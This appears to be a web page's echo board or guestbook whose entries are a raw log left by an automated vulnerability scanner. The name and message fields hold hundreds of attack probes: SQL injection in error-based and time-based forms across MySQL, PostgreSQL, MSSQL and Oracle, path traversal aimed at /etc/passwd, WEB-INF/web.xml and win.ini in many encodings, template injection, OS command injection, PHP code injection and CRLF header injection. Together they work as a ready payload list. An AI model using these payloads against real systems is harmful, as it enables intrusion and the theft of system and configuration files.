回声板：

123456：123456

123456：

123456：123456

：123456

123456：123456

extractvalue(1,concat(char(126),md5(1803420790)))：123456

123456：123456

123456'and/**/extractvalue(1,concat(char(126),md5(：123456

123456：123456

123456：123456'"\(

123456：123456

123456'and(select'1'from/**/cast(md5(1460650186)as：123456

123456：123456

123456'"\(：123456

123456鎈'"\(：123456

123456'and/**/convert(int,sys.fn_sqlvarbasetostr(H：123456

convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5'：123456

123456：123456

123456/**/and/**/cast(md5('1101163867')as/**/int)>：123456

123456：123456

123456：123456鎈'"\(

123456：123456'and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1417854552')))>'0

123456：123456

123456：convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1759298500')))

123456：123456

123456：123456/**/and/**/cast(md5('1143220327')as/**/int)>0

123456：123456

123456：123456'and(select'1'from/**/cast(md5(1713345676)as/**/int))>'0

123456：123456

123456：extractvalue(1,concat(char(126),md5(1906149717)))

123456：123456

：123456

123456：123456

：123456

123456：123456"and/**/extractvalue(1,concat(char(126),md5(1462984883)))and"

123456：123456'and/**/extractvalue(1,concat(char(126),md5(1653526196)))and'

：123456

123456：123456

：123456

${(936802670+937236097)?c}：123456

123456：123456

：123456

123456：123456

：123456

%u2215etc%u2215passwd：123456

：123456

123456：123456

：123456

123456：123456

%2fetc%2fpasswd：123456

123456：123456

/etc/passwd123456：123456

123456：123456

/etc/passwd：123456

${837101395+966601024}：123456

/*1*/{{805151485+836275884}}：123456

123456：123456

%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u：123456

%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2：123456

./../../../../../../etc/passwd：123456

../../../../../../etc/passwd123456：123456

../../../../../../etc/passwd：123456

%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u：123456

%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2：123456

123456：123456

${940023558+809011124}：123456

123456：${935784284+859487483}

123456：123456

123456：<%- 927250435+924251955 %>

123456：#set($c=819278419+995864117)${c}$c

./../../../../../../../../../../../../../../../../：123456

123456：123456

../../../../../../../../../../../../../../../../..：123456

123456：'-var_dump(md5(741532835))-'

123456：${(837381502+901512161)?c}

123456：${938984458+810538192}

123456：123456

123456：/*1*/{{846499111+946265611}}

123456：123456

：123456

123456：123456

：123456

123456：123456

：123456

123456：123456

：123456

123456：123456

'+(44651*43513)+'：123456

123456：'+(40749*42698)+'

123456：123456

：123456

123456：123456

ulrfwkcyytyrscqyylva：123456

123456：ulrfwkcyytyrscqyylva

123456：123456

123456：${@var_dump(md5(782091477))};

123456：123456

admi1：1

admi1：../../../../WEB-INF/web.xml;1

admi1：../../../../WEB-INF/web.xml

admi1：../../../WEB-INF/web.xml;1

admi1：1

admi1：../../../WEB-INF/web.xml

admi1：1

admi1：../../WEB-INF/web.xml;1

admi1：1

admi1：../../WEB-INF/web.xml

admi1：1

admi1：1'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('q',6)='q

admi1：1'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('s',0)='s

admi1：../WEB-INF/web.xml;1

admi1：../WEB-INF/web.xml

admi1：WEB-INF/web.xml;1

admi1：WEB-INF/web.xml

admi1：%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215Windows%u2215win%u002eini

admi1：%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fWindows%2fwin%2eini

admi1：../../../../../../Windows/win.ini1

admi1：./../../../../../../Windows/win.ini

admi1：../../../../../../Windows/win.ini

admi1：%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215Windows%u2215win%u002eini

admi1：1/**/and/**/2=DBMS_PIPE.RECEIVE_MESSAGE('m',6)

admi1：%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fWindows%2fwin%2eini

admi1：../../../../../../../../../../../../../../../../../../Windows/win.ini1

admi1：./../../../../../../../../../../../../../../../../../../Windows/win.ini

admi1：1/**/and/**/0=DBMS_PIPE.RECEIVE_MESSAGE('e',0)

admi1：1'and(select+1)>0waitfor/**/delay'0:0:6

admi1：../../../../../../../../../../../../../../../../../../Windows/win.ini

admi1：1'and(select+1)>0waitfor/**/delay'0:0:0

admi1：1/**/and(select+1)>0waitfor/**/delay'0:0:6'/**/

admi1：%u002e%u002e%u2216%u002e%u002e%u2216%u002e%u002e%u2216%u002e%u002e%u2216%u002e%u002e%u2216%u002e%u002e%u2216Windows%u2216win%u002eini

admi1：%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cWindows%5cwin%2eini

admi1：..\..\..\..\..\..\Windows\win.ini1

admi1：.\..\..\..\..\..\..\Windows\win.ini

admi1：..\..\..\..\..\..\Windows\win.ini

admi1：1/**/and(select+1)>0waitfor/**/delay'0:0:0'/**/

admi1：1'/**/and(select'1'from/**/pg_sleep(7))::text>'0

admi1：%u002e%u002e%u2216%u002e%u002e%u2216%u002e%u002e%u2216%u002e%u002e%u2216%u002e%u002e%u2216%u002e%u002e%u2216%u002e%u002e%u2216%u002e%u002e%u2216%u002e%u002e%u2216%u002e%u002e%u2216%u002e%u002e%u2216%u002e%u002e%u2216%u002e%u002e%u2216%u002e%u002e%u2216%u002e%u002e%u2216%u002e%u002e%u2216%u002e%u002e%u2216%u002e%u002e%u2216Windows%u2216win%u002eini

admi1：%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cWindows%5cwin%2eini

admi1：1'/**/and(select'1'from/**/pg_sleep(6))::text>'0

admi1：..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\Windows\win.ini1

admi1：.\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\Windows\win.ini

admi1：..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\Windows\win.ini

admi1：%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215windows%u2215win%u002eini

admi1：%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fwindows%2fwin%2eini

admi1：../../../../../../windows/win.ini1

admi1：./../../../../../../windows/win.ini

admi1：1'/**/and(select'1'from/**/pg_sleep(0))::text>'0

admi1：1/**/and(select+1/**/from/**/pg_sleep(6))>0/**/

admi1：1/**/and(select+1/**/from/**/pg_sleep(0))>0/**/

admi1：1"and(select*from(select+sleep(6))a/**/union/**/select+1)="

admi1：../../../../../../windows/win.ini

admi1：%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fwindows%2fwin%2eini

admi1：1"and(select*from(select+sleep(0))a/**/union/**/select+1)="

admi1：1'and(select*from(select+sleep(6))a/**/union/**/select+1)='

admi1：../../../../../../../../../../../../../../../../../../windows/win.ini1

admi1：1'and(select*from(select+sleep(0))a/**/union/**/select+1)='

admi1：(select*from(select+sleep(6)union/**/select+1)a)

admi1：(select*from(select+sleep(0)union/**/select+1)a)

admi1：1"and"i"="t

admi1：./../../../../../../../../../../../../../../../../../../windows/win.ini

admi1：../../../../../../../../../../../../../../../../../../windows/win.ini

admi1：%u002e%u002e%u2216%u002e%u002e%u2216%u002e%u002e%u2216%u002e%u002e%u2216%u002e%u002e%u2216%u002e%u002e%u2216windows/win%u002eini

admi1：1"and"c"="c

admi1：%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwindows/win%2eini

admi1：1'and'c'='m

admi1：..\..\..\..\..\..\windows/win.ini1

admi1：1'and'x'='x

admi1：.\..\..\..\..\..\..\windows/win.ini

admi1：..\..\..\..\..\..\windows/win.ini

admi1：%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwindows/win%2eini

admi1：..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\windows/win.ini1

admi1：.\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\windows/win.ini

admi1：..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\windows/win.ini

admi1：%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215windows%u2215win%u002eini

admi1：%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fwindows%2fwin%2eini

admi1：1/**/and+3=6

admi1：../../../../../../windows/win.ini1

admi1：./../../../../../../windows/win.ini

admi1：../../../../../../windows/win.ini

admi1：1/**/and+0=0

admi1：%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fwindows%2fwin%2eini

admi1：../../../../../../../../../../../../../../../../../../windows/win.ini1

admi1：./../../../../../../../../../../../../../../../../../../windows/win.ini

admi1：../../../../../../../../../../../../../../../../../../windows/win.ini

admi1：%u002e%u002e%u2216%u002e%u002e%u2216%u002e%u002e%u2216%u002e%u002e%u2216%u002e%u002e%u2216%u002e%u002e%u2216windows/win%u002eini

admi1：%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwindows/win%2eini

admi1：..\..\..\..\..\..\windows/win.ini1

admi1：.\..\..\..\..\..\..\windows/win.ini

admi1：..\..\..\..\..\..\windows/win.ini

admi1：%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwindows/win%2eini

admi1：..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\windows/win.ini1

admi1：.\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\windows/win.ini

admi1：..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\windows/win.ini

admi1：%u2215etc%u2215passwd

admi1：%2fetc%2fpasswd

admi1'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('e',6)=：1

admi1'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('g',0)=：1

admi1'and(select+1)>0waitfor/**/delay'0:0:6：1

admi1：/etc/passwd1

admi1：/etc/passwd

admi1：%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215etc%u2215passwd

admi1：%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd

admi1：./../../../../../../etc/passwd

admi1：../../../../../../etc/passwd1

admi1：../../../../../../etc/passwd

admi1：%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd

admi1：./../../../../../../../../../../../../../../../../../../etc/passwd

admi1：../../../../../../../../../../../../../../../../../../etc/passwd1

admi1'and(select+1)>0waitfor/**/delay'0:0:0：1

admi1'/**/and(select'1'from/**/pg_sleep(6))::text>：1

admi1：../../../../../../../../../../../../../../../../../../etc/passwd

admi1'/**/and(select'1'from/**/pg_sleep(0))::text>：1

../../../../WEB-INF/web.xml;admi1：1

admi1"and(select*from(select+sleep(6))a/**/union/*：1

../../../../WEB-INF/web.xml：1

../../../WEB-INF/web.xml;admi1：1

../../../WEB-INF/web.xml：1

../../WEB-INF/web.xml;admi1：1

../../WEB-INF/web.xml：1

../WEB-INF/web.xml;admi1：1

../WEB-INF/web.xml：1

WEB-INF/web.xml;admi1：1

WEB-INF/web.xml：1

%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u：1

%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2：1

../../../../../../Windows/win.iniadmi1：1

./../../../../../../Windows/win.ini：1

admi1"and(select*from(select+sleep(0))a/**/union/*：1

admi1'and(select*from(select+sleep(6))a/**/union/*：1

admi1：1

admi1'and(select*from(select+sleep(0))a/**/union/*：1

admi1"and"o"="z：1

admi1"and"n"="n：1

../../../../../../Windows/win.ini：1

%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u：1

%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2：1

admi1：1

admi1'and'x'='f：1

admi1：1

../../../../../../../../../../../../../../../../..：1

./../../../../../../../../../../../../../../../../：1

admi1：1

admi1'and'b'='b：1

admi1：1

../../../../../../../../../../../../../../../../..：1

%u002e%u002e%u2216%u002e%u002e%u2216%u002e%u002e%u：1

%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2：1

..\..\..\..\..\..\Windows\win.iniadmi1：1

admi1：1

.\..\..\..\..\..\..\Windows\win.ini：1

admi1：1

..\..\..\..\..\..\Windows\win.ini：1

admi1：1

%u002e%u002e%u2216%u002e%u002e%u2216%u002e%u002e%u：1

admi1：1

admi1：

admi1：1

admi1：

admi1：1

admi1：

admi1：1

admi1：

%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2：1

..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..：1

admi1：1

.\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\：1

..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..：1

admi1：1

admi1：

admi1：1

admi1：

admi1：1

%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u：1

admi1：1

admi1：

admi1：1

%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2：1

admi1：

admi1：1

admi1：

admi1：1

admi1：

admi1：1

admi1：

admi1：1

admi1：

../../../../../../windows/win.iniadmi1：1

./../../../../../../windows/win.ini：1

../../../../../../windows/win.ini：1

%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u：1

admi1：1

admi1：

admi1：1

admi1：

admi1：1

admi1：

admi1：1

%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2：1

admi1：1

admi1：

admi1：1

admi1：

admi1：1

：1

admi1：1

../../../../../../../../../../../../../../../../..：1

admi1：1

./../../../../../../../../../../../../../../../../：1

admi1：1

../../../../../../../../../../../../../../../../..：1

admi1：1

%u002e%u002e%u2216%u002e%u002e%u2216%u002e%u002e%u：1

admi1：1

%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2：1

..\..\..\..\..\..\windows/win.iniadmi1：1

admi1：1

：1

admi1：1

.\..\..\..\..\..\..\windows/win.ini：1

admi1：1

..\..\..\..\..\..\windows/win.ini：1

admi1：1

%u002e%u002e%u2216%u002e%u002e%u2216%u002e%u002e%u：1

admi1：1

：1

admi1：1

%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2：1

..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..：1

admi1：1

.\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\：1

admi1：1

..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..：1

admi1：1

admi1：1'"\(

admi1：1

admi1：1鎈'"\(

admi1：1

%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u：1

%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2：1

admi1：1

admi1：1'and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1698004422')))>'0

admi1：1

：1

admi1：1

../../../../../../windows/win.iniadmi1：1

./../../../../../../windows/win.ini：1

admi1：1

：1

admi1：1

../../../../../../windows/win.ini：1

admi1：convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1353479978')))

admi1：1

：1

admi1：1

：1

admi1：1

：1

admi1：1/**/and/**/cast(md5('1925562714')as/**/int)>0

admi1：1

admi1：1'and(select'1'from/**/cast(md5(1738655544)as/**/int))>'0

admi1：extractvalue(1,concat(char(126),md5(1773767576)))

admi1：1

admi1：1"and/**/extractvalue(1,concat(char(126),md5(1023883415)))and"

admi1：1

admi1：1'and/**/extractvalue(1,concat(char(126),md5(1352134022)))and'

admi1'"\(：1

admi1鎈'"\(：1

admi1：1

admi1'and/**/convert(int,sys.fn_sqlvarbasetostr(Ha：1

admi1：expr 800369632 + 929373784

convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5'：1

admi1：1

admi1：'+(40440*40179)+'

%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u：1

admi1：1

%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2：1

../../../../../../../../../../../../../../../../..：1

'+(40343*44300)+'：1

：1

admi1：1

admi1：1&set /A 908919666+802648201

：1

admi1：1

admi1/**/and/**/cast(md5('1154534280')as/**/int)>0：1

admi1：1

admi1：1$(expr 960721412 + 964479230)

admi1：1

：1

./../../../../../../../../../../../../../../../../：1

admi1'and(select'1'from/**/cast(md5(1671724740)as/：1

admi1：1

extractvalue(1,concat(char(126),md5(1802537225)))：1

admi1：1

：1

admi1"and/**/extractvalue(1,concat(char(126),md5(1：1

admi1：1

：1

admi1：1

admi1：1|expr 898331520 + 984282613

admi1：${825736936+999588250}

${966392163+947742166}：1

admi1：1

admi1：1 expr 898147700 + 958355953

admi1：1

../../../../../../../../../../../../../../../../..：1

%u002e%u002e%u2216%u002e%u002e%u2216%u002e%u002e%u：1

admi1：1

：1

expr 876366333 + 928972694：1

admi1：<%- 938031183+923741340 %>

admi1：#set($c=923079614+976752020)${c}$c

admi1：1

admi1&set /A 820161852+967356188：1

admi1$(expr 827953302 + 844761396)：1

admi1|expr 953870475 + 904916030：1

jadefryfflbfecdrrggb：1

admi1：${(990858649+973623355)?c}

：1

admi1：${888600283+975240962}

admi1：1

admi1：/*1*/{{820580807+867417827}}

<%- 845536746+808314587 %>：1

#set($c=842235668+912318381)${c}$c：1

admi1'and/**/extractvalue(1,concat(char(126),md5(1：1

admi1：1

：1

admi1：1

${(988707503+988360246)?c}：1

admi1：1

${838254590+942333729}：1

admi1：1

admi1 expr 985891350 + 892946587：1

admi1：1

admi1：jadefryfflbfecdrrggb

admi1：1

/*1*/{{974384014+998665792}}：1

admi1：1

admi1：1\r\nCRLF-Header:CRLF-Value

admi1：1

：1

admi1：1

：1

admi1：1

%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2：1

admi1：1

..\..\..\..\..\..\windows/win.iniadmi1：1

admi1：1

admi1：'-var_dump(md5(844973584))-'

admi1：${@var_dump(md5(716181589))};

admi1：1%0d%0aCRLF-Header:CRLF-Value

admi1：1

.\..\..\..\..\..\..\windows/win.ini：1

'-var_dump(md5(478834192))-'：1

..\..\..\..\..\..\windows/win.ini：1

%u002e%u002e%u2216%u002e%u002e%u2216%u002e%u002e%u：1

admi1：1

%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2：1

..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..：1

.\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\：1

：1

..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..：1

admi1：1

${@var_dump(md5(967392427))};：1

admi1：1 CRLF-Header:CRLF-Value

admi1：1

：1

admi1：1

%u2215etc%u2215passwd：1

%2fetc%2fpasswd：1

admi1：1

/etc/passwdadmi1：1

/etc/passwd：1

admi1：1

%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u：1

：1

%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2：1

admi1：1

：1

admi1：1

：1

./../../../../../../etc/passwd：1

admi1：1

../../../../../../etc/passwdadmi1：1

admi1：1

：1

admi1：1

../../../../../../etc/passwd：1

admi1：1

%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u：1

admi1：1

%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2：1

admi1：1

./../../../../../../../../../../../../../../../../：1

../../../../../../../../../../../../../../../../..：1

admi1：1

../../../../../../../../../../../../../../../../..：1

admi1：1

admin：12345678

admin'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('a',2)=：12345678

admin'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('t',0)=：12345678

admin'and(select+1)>0waitfor/**/delay'0:0:2：12345678

admin'and(select+1)>0waitfor/**/delay'0:0:0：12345678

admin'/**/and(select'1'from/**/pg_sleep(2))>'0：12345678

admin'/**/and(select'1'from/**/pg_sleep(0))>'0：12345678

admin"and(select*from(select+sleep(2))a/**/union/*：12345678

admin"and(select*from(select+sleep(0))a/**/union/*：12345678

admin'and(select*from(select+sleep(2))a/**/union/*：12345678

admin'and(select*from(select+sleep(0))a/**/union/*：12345678

admin"and"n"="u：12345678

admin"and"m"="m：12345678

admin'and'w'='v：12345678

admin'and'w'='w：12345678

admin'"\(：12345678

admin鎈'"\(：12345678

admin'and/**/convert(int,sys.fn_sqlvarbasetostr(Ha：12345678

convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5'：12345678

admin/**/and/**/cast(md5('1456059415')as/**/int)>0：12345678

admin'and(select'1'from/**/cast(md5(1321403165)as/：12345678

extractvalue(1,concat(char(126),md5(1064322224)))：12345678

admin"and/**/extractvalue(1,concat(char(126),md5(1：12345678

admin'and/**/extractvalue(1,concat(char(126),md5(1：12345678

admin：12345678

admin：12345678'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('e',2)='e

admin：12345678'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('x',0)='x

admin：12345678/**/and/**/0=DBMS_PIPE.RECEIVE_MESSAGE('f',2)

admin：12345678/**/and/**/4=DBMS_PIPE.RECEIVE_MESSAGE('a',0)

admin：12345678'and(select+1)>0waitfor/**/delay'0:0:2

admin：12345678'and(select+1)>0waitfor/**/delay'0:0:0

admin：12345678/**/and(select+1)>0waitfor/**/delay'0:0:2'/**/

admin：12345678/**/and(select+1)>0waitfor/**/delay'0:0:0'/**/

admin：12345678'/**/and(select'1'from/**/pg_sleep(2))>'0

admin：12345678'/**/and(select'1'from/**/pg_sleep(0))>'0

admin：12345678/**/and(select+1/**/from/**/pg_sleep(2))>0/**/

admin：12345678/**/and(select+1/**/from/**/pg_sleep(0))>0/**/

admin：12345678"and(select*from(select+sleep(2))a/**/union/**/select+1)="

admin：12345678"and(select*from(select+sleep(0))a/**/union/**/select+1)="

admin：12345678'and(select*from(select+sleep(2))a/**/union/**/select+1)='

admin：12345678'and(select*from(select+sleep(0))a/**/union/**/select+1)='

admin：(select*from(select+sleep(2)union/**/select+1)a)

admin：(select*from(select+sleep(0)union/**/select+1)a)

admin：12345678

admin：12345678"and"z"="p

admin：12345678"and"l"="l

admin：12345678'and't'='e

admin：12345678'and'c'='c

admin：12345678/**/and+4=8

admin：12345678/**/and+1=1

admin：12345678'"\(

admin：12345678鎈'"\(

admin：12345678'and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1116666796')))>'0

admin：convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1670780102')))

admin：12345678/**/and/**/cast(md5('1446863560')as/**/int)>0

admin：12345678'and(select'1'from/**/cast(md5(1452309036)as/**/int))>'0

admin：extractvalue(1,concat(char(126),md5(1776889104)))

admin：12345678"and/**/extractvalue(1,concat(char(126),md5(1826189606)))and"

admin：12345678'and/**/extractvalue(1,concat(char(126),md5(1725125300)))and'

admin：12345678

admin：12345678'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('q',2)='q

admin：12345678'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('z',0)='z

admin：12345678/**/and/**/1=DBMS_PIPE.RECEIVE_MESSAGE('x',2)

admin：12345678/**/and/**/2=DBMS_PIPE.RECEIVE_MESSAGE('r',0)

admin：12345678'and(select+1)>0waitfor/**/delay'0:0:2

admin：12345678'and(select+1)>0waitfor/**/delay'0:0:0

admin：12345678/**/and(select+1)>0waitfor/**/delay'0:0:2'/**/

admin：12345678/**/and(select+1)>0waitfor/**/delay'0:0:0'/**/

admin：12345678'/**/and(select'1'from/**/pg_sleep(2))>'0

admin：12345678'/**/and(select'1'from/**/pg_sleep(0))>'0

admin：12345678/**/and(select+1/**/from/**/pg_sleep(2))>0/**/

admin：12345678/**/and(select+1/**/from/**/pg_sleep(0))>0/**/

admin：12345678"and(select*from(select+sleep(2))a/**/union/**/select+1)="

admin：12345678"and(select*from(select+sleep(0))a/**/union/**/select+1)="

admin：12345678'and(select*from(select+sleep(2))a/**/union/**/select+1)='

admin：12345678'and(select*from(select+sleep(0))a/**/union/**/select+1)='

admin：(select*from(select+sleep(2)union/**/select+1)a)

admin：(select*from(select+sleep(0)union/**/select+1)a)

admin：12345678"and"r"="g

admin：12345678"and"f"="f

admin：12345678'and'h'='b

admin：12345678'and'f'='f

admin：12345678/**/and+1=6

admin：12345678/**/and+1=1

admin：12345678'"\(

admin：12345678鎈'"\(

admin：12345678'and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1490561320')))>'0

admin：convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1302756354')))

admin：12345678/**/and/**/cast(md5('1947576760')as/**/int)>0

admin：12345678'and(select'1'from/**/cast(md5(1173346972)as/**/int))>'0

admin：extractvalue(1,concat(char(126),md5(1027244927)))

admin：12345678"and/**/extractvalue(1,concat(char(126),md5(1798980088)))and"

admin：12345678'and/**/extractvalue(1,concat(char(126),md5(1482653827)))and'

admin'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('g',2)=：12345678

admin'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('a',0)=：12345678

admin'and(select+1)>0waitfor/**/delay'0:0:2：12345678

admin'and(select+1)>0waitfor/**/delay'0:0:0：12345678

admin'/**/and(select'1'from/**/pg_sleep(2))>'0：12345678

admin'/**/and(select'1'from/**/pg_sleep(0))>'0：12345678

admin"and(select*from(select+sleep(2))a/**/union/*：12345678

admin"and(select*from(select+sleep(0))a/**/union/*：12345678

admin'and(select*from(select+sleep(2))a/**/union/*：12345678

admin'and(select*from(select+sleep(0))a/**/union/*：12345678

admin"and"l"="e：12345678

admin"and"l"="l：12345678

admin'and'x'='d：12345678

admin'and'w'='w：12345678

admin'"\(：12345678

admin鎈'"\(：12345678

admin'and/**/convert(int,sys.fn_sqlvarbasetostr(Ha：12345678

convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5'：12345678

admin/**/and/**/cast(md5('1997152579')as/**/int)>0：12345678

admin'and(select'1'from/**/cast(md5(1709693355)as/：12345678

extractvalue(1,concat(char(126),md5(1500422696)))：12345678

admin"and/**/extractvalue(1,concat(char(126),md5(1：12345678

admin'and/**/extractvalue(1,concat(char(126),md5(1：12345678

admin：12345678

lieuenwfrovlhhywtmdx：12345678

admin：12345678

admin：lieuenwfrovlhhywtmdx

lieuenwfrovlhhywtmdx：12345678

admin：12345678

admin：12345678'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('u',3)='u

admin：12345678'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('q',0)='q

admin：12345678/**/and/**/2=DBMS_PIPE.RECEIVE_MESSAGE('m',3)

admin：12345678/**/and/**/2=DBMS_PIPE.RECEIVE_MESSAGE('f',0)

admin：12345678'and(select+1)>0waitfor/**/delay'0:0:3

admin：12345678'and(select+1)>0waitfor/**/delay'0:0:0

admin：12345678/**/and(select+1)>0waitfor/**/delay'0:0:3'/**/

